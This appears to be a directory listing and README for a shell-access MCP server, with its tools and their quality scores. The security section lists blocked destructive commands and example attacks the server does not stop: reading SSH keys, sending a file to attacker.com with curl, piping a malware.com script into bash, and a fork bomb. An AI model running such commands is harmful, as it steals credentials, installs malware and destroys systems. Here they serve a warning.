# Run unit tests (vitest)
npm run test:unit

# Run unit tests in watch mode
npm run test:unit:watch

# Run integration tests
npm test

# Run client test (alternative test implementation)
npm run test:client

# Run debug test (see raw server output)
npm run test:debug

Unit tests are in test/unit/ (vitest) and integration tests in test/ (tsx).

Available Tools

1. exec

Execute arbitrary shell commands.

Input:

  • command (string): The shell command to execute

Example:

{
  "name": "exec",
  "arguments": {
    "command": "echo 'Hello World'"
  }
}

2. readFile

Read the contents of a file.

Input:

  • path (string): Path to the file

3. writeFile

Write content to a file.

Input:

  • path (string): Path to the file

  • content (string): Content to write

4. deleteFile

Delete a file.

Input:

  • path (string): Path to the file

5. listDir

List contents of a directory.

Input:

  • path (string): Path to the directory

6. getSystemInfo

Get system information (CPU, memory, disk, OS).

Input: None

7. listProcesses

List running processes, optionally filtered.

Input:

  • filter (string, optional): Filter pattern for process names

Security Considerations

⚠️ See Important Disclaimer & Safety Warning section above for comprehensive security information.

This server provides powerful shell access with inherent security risks. Review the following:

Built-in Security Features

  1. Sandboxed Mode: Enable SANDBOX_MODE=true for additional safety warnings and validation

  2. Command Validation: Built-in blocking of extremely dangerous command patterns

  3. Timeout Protection: All commands have timeout limits (default: 30 seconds)

  4. Output Size Limits: Command output capped at 10MB to prevent memory exhaustion

  5. Rate Limiting: 60 commands per minute by default to prevent abuse

  6. Path Traversal Protection: File tools validate paths and block access to sensitive system files (/etc/shadow, /etc/passwd, /proc/, /sys/, /dev/)

  7. Input Validation: All tool inputs validated with Zod schemas, including null-byte rejection

  8. Audit Logging: Optional persistent audit logging of all tool calls to JSON Lines format

  9. Sudo Protection: Sudo commands blocked by default, require explicit ALLOW_SUDO=true opt-in

  10. Graceful Error Handling: Prevents crashes from malformed commands

Blocked Command Patterns

The following extremely dangerous command patterns are automatically blocked:

  • rm -rf / - Recursive deletion of the root filesystem. This would destroy all files on the system, making it unbootable and causing complete data loss.

  • mkfs - Filesystem formatting command. Creates a new filesystem on a device, erasing all existing data. Could destroy entire partitions or disks if misused.

  • dd if= - Low-level disk writing operations. The dd command can write directly to disk devices, potentially overwriting critical system data, partition tables, or bootloaders.

  • > /dev/ - Direct device file manipulation. Redirecting output to device files (especially /dev/sda, /dev/zero, etc.) can corrupt storage devices or cause system instability.

⚠️ What Is NOT Protected

These built-in protections are MINIMAL and do NOT prevent:

  • Reading sensitive files (cat ~/.ssh/id_rsa)

  • Deleting specific important files (rm -rf ~/Documents)

  • Network exfiltration (curl -X POST attacker.com --data @secret.txt)

  • Installing malware (curl malware.com/script.sh | bash)

  • Resource exhaustion (:(){ :|:& };: - fork bomb)

  • API abuse (excessive calls to paid services)

  • Unauthorized purchases or financial transactions

  • Social engineering attacks on the AI

  • Prompt injection vulnerabilities

The built-in protections only block a small set of catastrophic system-level commands.

Recommendations for Production Use

  1. Run in Isolated Environment

    • Use Docker containers with minimal permissions

    • Implement network policies to restrict outbound connections

    • Use read-only file system mounts where possible

  2. Implement Access Control

    • Deploy behind authentication/authorization layers

    • Use role-based access control (RBAC)

    • Implement command whitelisting for specific use cases

  3. Monitor and Audit

    • Enable comprehensive logging

    • Set up alerting for suspicious commands

    • Regularly review execution history

    • Implement anomaly detection

  4. Defense in Depth

    • Combine multiple security layers

    • Assume breach mentality

    • Implement least privilege principles

    • Regular security assessments

  5. User Education

    • Train users on secure prompting practices

    • Establish clear guidelines for AI assistant use

    • Regular security awareness updates

Security Is Your Responsibility

This MCP server is a tool that grants shell access to AI assistants. The security of your system depends on:

  • How you configure it

  • What permissions you grant

  • How you monitor its use

  • The security of your AI assistant

  • Your understanding of the risks

No amount of built-in security can protect against all threats. Use with caution and appropriate safeguards.

Architecture

src/
├── main.ts                     # Entry point, env var parsing, graceful shutdown
├── server.ts                   # MCP server with multi-transport support
├── executors/
│   ├── index.ts                # Barrel export
│   └── shellExecutor.ts        # Shell command execution with sandboxing
├── tools/
│   ├── index.ts                # Barrel export
│   ├── toolRegistry.ts         # Tool registration, routing, audit integration
│   └── handlers/
│       ├── index.ts            # Barrel export
│       ├── execTool.ts         # Shell execution tool
│       ├── fileTools.ts        # File operation tools with path validation
│       ├── systemInfoTool.ts   # System info tool
│       └── processTool.ts      # Process management tool
├── types/
│   └── index.ts                # TypeScript interfaces and type definitions
└── utils/
    ├── index.ts                # Barrel export
    ├── logger.ts               # Logging utility (DEBUG env var)
    ├── validation.ts           # Zod schemas, path traversal protection
    ├── rateLimiter.ts          # Sliding-window rate limiter (60 req/min)
    └── auditLogger.ts          # Persistent audit logging (JSON Lines)

test/
├── integration.test.ts         # Main integration tests
├── client.test.ts              # Alternative client test
├── debug.test.ts               # Debug/diagnostic test
├── README.md                   # Test documentation
└── unit/                       # Unit tests (vitest)
    ├── auditLogger.test.ts
    ├── execTool.test.ts
    ├── fileTools.test.ts
    ├── logger.test.ts
    ├── processTool.test.ts
    ├── rateLimiter.test.ts
    ├── server.test.ts
    ├── shellExecutor.test.ts
    ├── systemInfoTool.test.ts
    ├── toolRegistry.test.ts
    └── validation.test.ts

Transports

This server supports three MCP transport types:

stdio (default)

Communicates over stdin/stdout. Best for local integrations like Claude Desktop.

# Default — no extra configuration needed
node dist/main.js

SSE (deprecated)

Starts an HTTP server with Server-Sent Events streaming.

  • GET /sse — establishes the SSE stream

  • POST /messages?sessionId=X — receives JSON-RPC messages

TRANSPORT=sse PORT=3000 node dist/main.js

Note: The SSE transport is deprecated by the MCP SDK. Prefer Streamable HTTP for new integrations.

Starts an HTTP server using the MCP Streamable HTTP specification.

  • POST /mcp — handles JSON-RPC requests (with optional SSE streaming)

  • GET /mcp — establishes a standalone SSE stream for server-initiated messages

  • DELETE /mcp — closes the session

TRANSPORT=streamable-http PORT=3000 MCP_ENDPOINT=/mcp node dist/main.js

MCP Protocol

This server implements the Model Context Protocol (MCP) standard:

  • Supports tools/list for discovering available tools

  • Supports tools/call for executing tools

  • Multi-transport: stdio, SSE, and Streamable HTTP

  • DNS rebinding protection for HTTP transports

  • Session management for concurrent clients

License

MIT

Changelog

See CHANGELOG.md for the full version history.

Latest: v1.1.0

  • Multi-transport support (stdio, SSE, Streamable HTTP)

  • Rate limiting, audit logging, path traversal protection

  • Sudo command support with password handling

  • Input validation with Zod schemas

  • Comprehensive unit test suite (vitest)

  • Rich AI-agent-facing tool descriptions

Contributing

Contributions are welcome! Please see CONTRIBUTING.md for full guidelines.

Key points:

  • Code follows TypeScript best practices

  • All changes are properly typed

  • Security implications are considered

  • Cross-platform compatibility is maintained

Documentation

🌐 Online Documentation

View the complete documentation website →

A comprehensive, user-friendly documentation site with:

  • Interactive examples and use cases

  • Step-by-step setup guides

  • Complete tool reference

  • Security best practices

  • Example conversations

📄 Documentation Files

Project Status

Production Ready - v1.1.0

This project has been thoroughly tested and includes:

  • Comprehensive error handling and logging

  • Multi-transport support (stdio, SSE, Streamable HTTP)

  • Security features: sandboxing, rate limiting, path validation, audit logging

  • Input validation with Zod schemas

  • Cross-platform compatibility

  • Extensive documentation

  • Graceful shutdown handling

  • TypeScript strict mode compliance

  • 119+ unit tests with vitest

Support

For issues, questions, or contributions:


Built with ❤️ using the Model Context Protocol (MCP)

Available Tools

7 tools
deleteFileA

Permanently delete a single file from the filesystem. This operation is irreversible. Only regular files can be deleted — use the exec tool with rmdir for directories. Returns a confirmation message on success. Throws an error if the file does not exist. Paths targeting sensitive system directories (e.g. /etc/shadow, /proc/, /dev/) are blocked.

ParametersJSON Schema
NameRequiredDescriptionDefault
pathYesAbsolute or relative path to the file to delete. Relative paths are resolved from the server's working directory. Must not be empty or contain null bytes. Example: `/tmp/temp-file.txt`.

TDQS

A4.7/5.0
Behavior5/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

With no annotations, the description fully covers behavioral traits: irreversible operation, returns confirmation, throws error on nonexistent file, and blocks sensitive paths. This exceeds expectations for a simple delete tool.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

Five concise sentences front-load the main action and add critical details (irreversibility, error behavior, blocked paths) without redundancy. Every sentence earns its place.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness5/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Despite having only one parameter, no output schema, and no annotations, the description comprehensively covers purpose, usage, behaviors, errors, and security restrictions. It leaves no gaps for an AI agent to misunderstand.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Only one parameter (path) with full schema coverage (100%). The schema already describes constraints and examples. The description adds context about path resolution and blocked paths, but does not augment the parameter meaning beyond the schema baseline.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states it permanently deletes a single file from the filesystem. It specifies it's irreversible and only for regular files, distinguishing it from the sibling `exec` tool for directory removal.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines5/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

Explicitly states when to use (delete regular file) and when not to (use `exec` with rmdir for directories). Also warns about blocked sensitive system directories, providing clear context for safe usage.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

execA

Execute a shell command on the host system and return its output. Runs the command in a non-interactive shell and captures both stdout and stderr. The response includes the exit code, a timed-out flag, and the full stdout/stderr output. Commands are subject to rate limiting (default 60/min) and a configurable execution timeout. Certain destructive patterns (e.g. rm -rf /, mkfs, dd if=) are always blocked. When the server runs in sandbox mode, network tools (curl, wget), package managers, and process-control commands are also blocked. Sudo commands require the server to be started with ALLOW_SUDO=true. Use this tool for running CLI commands, scripts, build tasks, inspecting the environment, or any operation that can be expressed as a shell one-liner or pipeline.

ParametersJSON Schema
NameRequiredDescriptionDefault
commandYesThe shell command to execute. Can be a single command (e.g. `ls -la`), a pipeline (e.g. `cat file.txt | grep pattern`), or a compound expression (e.g. `cd /tmp && ls`). The command is passed to the system shell for interpretation. Must not be empty.

TDQS

A4.6/5.0
Behavior5/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

Discloses key behaviors beyond annotations (which are absent): non-interactive shell, stdout/stderr capture, exit code, timed-out flag, rate limiting, and blocked patterns. Fully informs agent of constraints.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness4/5

Is the description appropriately sized, front-loaded, and free of redundancy?

Well-structured: starts with purpose, then output details, then restrictions. Slightly verbose but each sentence adds value. Could be trimmed slightly without loss.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness5/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Complete for a one-parameter tool with no output schema. Covers all necessary aspects: usage, output structure, constraints, and safety info. No gaps identified.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters4/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema coverage is 100% (only 'command' param). Description adds examples (single command, pipeline, compound expression) and a non-empty requirement, going beyond schema to clarify usage.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the tool executes a shell command and returns output. It distinguishes itself from sibling tools like readFile and writeFile by specifying it runs arbitrary commands.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines4/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

Provides explicit context: when to use (CLI commands, scripts), limitations (destructive patterns blocked, sandbox mode restricts network/package managers), and prerequisites (sudo requires ALLOW_SUDO). Lacks direct comparison with alternatives.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

getSystemInfoA

Retrieve comprehensive system information about the host machine. Returns a structured text report containing: OS platform, type, and release version; CPU model, speed (MHz), and core count; total, free, and used memory with percentage; disk usage (via df -h on Unix or wmic on Windows); system uptime in days/hours/minutes; and the machine hostname. This tool takes no parameters. Use it to assess available resources, diagnose environment issues, or gather context about the system your commands will run on.

ParametersJSON Schema
NameRequiredDescriptionDefault

No parameters

TDQS

A4.5/5.0
Behavior4/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

With no annotations, the description carries the full transparency burden. It discloses the return contents in detail, including platform-specific commands (df -h, wmic). It does not mention permissions or error scenarios, but given the read-only nature, this is sufficient.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is a single well-structured paragraph, front-loaded with the purpose, then listing return contents, and ending with usage scenarios. Every sentence adds value with no redundancy.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness5/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Given no output schema, the description thoroughly explains the return values (OS, CPU, memory, disk, uptime, hostname) and provides usage context. It covers all necessary information for a tool with zero parameters and simple read functionality.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters4/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

The schema has zero parameters, and the description confirms 'This tool takes no parameters.' With 100% schema coverage and no params, the baseline is 4; the description adds marginal value by explicitly stating the absence of parameters.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the tool retrieves comprehensive system information, listing specific resources (OS, CPU, memory, disk, uptime, hostname). It distinguishes itself from siblings like listProcesses by covering broader system state rather than a single aspect.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines4/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description provides explicit use cases ('assess available resources, diagnose environment issues, gather context'), but does not directly contrast with sibling tools or state when not to use it. The context is clear without exclusions.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

listDirA

List the contents of a directory with metadata for each entry. Returns a formatted table with columns: Type (d=directory, l=symlink, -=file), Size (bytes), Modified (ISO datetime), and Name. Use this to explore the filesystem, discover files, or verify directory structure. Does not recurse into subdirectories — call again on child directories for deeper exploration. Paths targeting sensitive system directories (e.g. /proc/, /sys/, /dev/) are blocked.

ParametersJSON Schema
NameRequiredDescriptionDefault
pathYesAbsolute or relative path to the directory to list. Relative paths are resolved from the server's working directory. Must not be empty or contain null bytes. Examples: `.`, `/home/user/projects`, `./src`.

TDQS

A4.2/5.0
Behavior4/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

With no annotations, description carries full burden. It discloses non-recursion, blocked sensitive system paths, and output format (formatted table with columns). No contradiction with annotations (none present). Missing discussion of error behavior or performance, but adequate for a list tool.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

Four sentences with clear front-loading: purpose + output, usage, recursion guidance, security. No redundant information. Each sentence serves a distinct purpose.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness4/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Given no annotations or output schema, the description covers essential aspects: what it does, how to use path, what it returns, limitations (non-recursion, blocked paths). Minor omission: doesn't specify behavior for invalid paths, but overall complete.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema coverage is 100%, so baseline is 3. The description reinforces path usage (absolute/relative, empty/null byte restrictions) but does not add new semantics beyond the schema explanation. The examples in schema are sufficient.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

Clearly states 'List the contents of a directory with metadata for each entry', specifying verb and resource. The columns (Type, Size, Modified, Name) make the output explicit. Distinguishes from sibling tools like readFile and exec by focusing on directory listing.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines4/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

Describes when to use: 'explore the filesystem, discover files, or verify directory structure'. Explicitly warns that it does not recurse and instructs to call again on child directories. No missing exclusions or comparisons to siblings, but context is clear.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

listProcessesA

List running processes on the host system using ps aux, optionally filtered by name. Without a filter, returns all running processes. With a filter, returns only processes whose command line matches the given pattern. Output format is standard ps aux columns: USER, PID, %CPU, %MEM, VSZ, RSS, TTY, STAT, START, TIME, COMMAND. Use this to check if a service is running, find process IDs, monitor resource usage, or verify that a background task started successfully. If no processes match the filter, returns 'No processes found matching filter' instead of an error.

ParametersJSON Schema
NameRequiredDescriptionDefault
filterNoOptional text pattern to filter processes by name or command line. Only alphanumeric characters, spaces, dots, dashes, and underscores are allowed (max 100 characters). Special characters are rejected to prevent shell injection. Examples: `node`, `python3`, `my-app`, `nginx`. Omit this parameter to list all processes.

TDQS

A4.9/5.0
Behavior5/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

Discloses output format (standard `ps aux` columns), filtering behavior, security constraint (special chars rejected), and error handling (returns message instead of error). No annotations to contradict.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

Two concise paragraphs, front-loaded with purpose. Every sentence provides useful information without redundancy.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness5/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Complete for a 1-parameter tool with no output schema. Covers purpose, usage, output format, error behavior, and security.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters4/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema coverage is 100%, but description adds value with examples, allowed characters, and security note. Slightly above baseline 3.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states 'List running processes on the host system using `ps aux`', with specific verb and resource. It distinguishes from sibling tools like exec and file operations by focusing on process listing.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines5/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

Explicitly states when to use ('check if a service is running, find process IDs, monitor resource usage, or verify background task') and describes behavior for no matches. No sibling confusion.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

readFileA

Read the entire contents of a file and return it as UTF-8 text. Use this to inspect configuration files, source code, logs, or any text-based file. Returns the raw file content as a single text block. Throws an error if the file does not exist or cannot be read. Paths targeting sensitive system directories (e.g. /etc/shadow, /proc/, /dev/) are blocked.

ParametersJSON Schema
NameRequiredDescriptionDefault
pathYesAbsolute or relative path to the file to read. Relative paths are resolved from the server's working directory. Must not be empty or contain null bytes. Examples: `/home/user/config.json`, `./src/index.ts`, `../README.md`.

TDQS

A4.3/5.0
Behavior3/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

Discloses that it returns raw content as a single text block, throws errors on missing/unreadable files, and blocks sensitive paths. Lacks details on file size limits or behavior for binary files. No annotations provided, so description carries full burden.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

Four concise sentences front-loaded with purpose and use cases. Every sentence adds value without redundancy. Efficiently structured.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness5/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

For a simple file read tool, the description covers all essential aspects: purpose, usage, output format, error conditions, and blocked paths. No output schema exists, but return value is described. Lacks only minor details like encoding confirmation, but sufficient.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters4/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema coverage is 100% for the 'path' parameter. The description adds valuable guidance: relative path resolution, null byte prohibition, and examples, exceeding the schema's basic description.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the verb (read), resource (file), and output format (UTF-8 text). It distinguishes from sibling tools like writeFile and deleteFile, indicating a read-only operation.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines4/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

Provides clear use cases (inspect configuration files, source code, logs) and notes blocked paths for sensitive directories. Does not explicitly mention when not to use, but usage context is well-defined.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

writeFileA

Write text content to a file, creating it if it does not exist or overwriting it if it does. The file is written atomically as UTF-8. Use this to create new files, update configuration, save generated code, or persist any text data. Parent directories must already exist. Returns a confirmation message with the resolved file path on success. Paths targeting sensitive system directories (e.g. /etc/shadow, /proc/, /dev/) are blocked.

ParametersJSON Schema
NameRequiredDescriptionDefault
pathYesAbsolute or relative path to the file to write. Relative paths are resolved from the server's working directory. Must not be empty or contain null bytes. Examples: `/tmp/output.txt`, `./results.json`.
contentYesThe full text content to write to the file. This completely replaces any existing file content. Can be an empty string to create/truncate a file.

TDQS

A4.4/5.0
Behavior5/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

With no annotations, the description fully discloses key traits: atomic write, UTF-8 encoding, requirement for existing parent directories, blocking of sensitive system paths, and confirmation message with resolved path. This enables informed agent decisions.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness4/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is concise and well-structured, with four sentences covering purpose, mechanics, use cases, and constraints. A minor improvement would be to front-load the most critical constraint (parent directories must exist) earlier.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness5/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

For a simple file write tool with two parameters and no output schema, the description covers all essential aspects: creation vs overwrite, atomicity, encoding, prerequisites, blocked paths, and return value. It is fully sufficient for an agent to understand and invoke the tool correctly.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema coverage is 100%, setting baseline at 3. The description repeats the schema's definitions and adds a few examples but does not provide significant additional semantics beyond what the schema already offers (e.g., format constraints, behavior nuances).

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the verb 'write' and resource 'file', specifying create or overwrite behavior. It differentiates from sibling tools like readFile and deleteFile by listing concrete use cases: create new files, update configuration, save generated code.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines4/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description provides explicit use cases for writing files, which helps the agent decide when to use this tool. However, it does not contrast with alternatives (e.g., exec for non-file operations) or state when not to use it, slightly reducing clarity.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Tool Schema Changelog

Recent tool additions, removals, and schema changes observed during successful MCP inspections. Dates show when Glama detected each change.

  1. 7 tool updatesv1.0.4
    • First observeddeleteFile
    • First observedexec
    • First observedgetSystemInfo
    • First observedlistDir
    • First observedlistProcesses
    • First observedreadFile
    • First observedwriteFile

TDQS

A4.5/5.0
Disambiguation5/5

Each tool has a clear, distinct purpose: file operations (delete, read, write), directory listing, process listing, system info retrieval, and arbitrary command execution. There is no overlap in functionality.

Naming Consistency5/5

Tool names follow a consistent verb+noun camelCase pattern (e.g., deleteFile, readFile, writeFile, listDir, listProcesses, getSystemInfo). The only outlier, 'exec', is a common and concise abbreviation that fits the pattern of action-oriented names.

Tool Count5/5

Seven tools is well-scoped for a shell MCP server. It covers essential operations (file manipulation, directory browsing, system info, process management, and command execution) without being overwhelming or sparse.

Completeness4/5

The tool set covers core file operations (create, read, delete), directory listing, system information, process listing, and general command execution. Minor gaps like file moving or directory creation can be handled via the 'exec' tool, so the surface is nearly complete for typical shell workflows.

Maintenance

ActivityInactive
ResponsivenessSyncing

Resources

Unclaimed servers have limited discoverability.

Looking for Admin?

If you are the server author, to access and configure the admin panel.

Related MCP Connectors

Related MCP Servers

  • A
    license
    B
    quality
    A
    maintenance
    A secure MCP server for shell operations, terminal management, and process control, enabling AI assistants to safely execute commands and manage interactive sessions.
    13
    204
    6
    MIT
  • A
    license
    Not graded
    quality
    A
    maintenance
    MCP server enabling AI assistants to securely operate remote servers via persistent SSH sessions, with tools for command execution, file transfer, directory listing, and system monitoring.
    4
    MIT
  • A
    license
    Not graded
    quality
    C
    maintenance
    MCP server that enables AI assistants to manage SSH terminal sessions, execute commands, and automate server operations through natural language, with multi-tab support and session persistence.
    MIT

Latest Blog Posts

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/luciVuc/shell-mcp'

If you have feedback or need assistance with the MCP directory API, please join our Discord server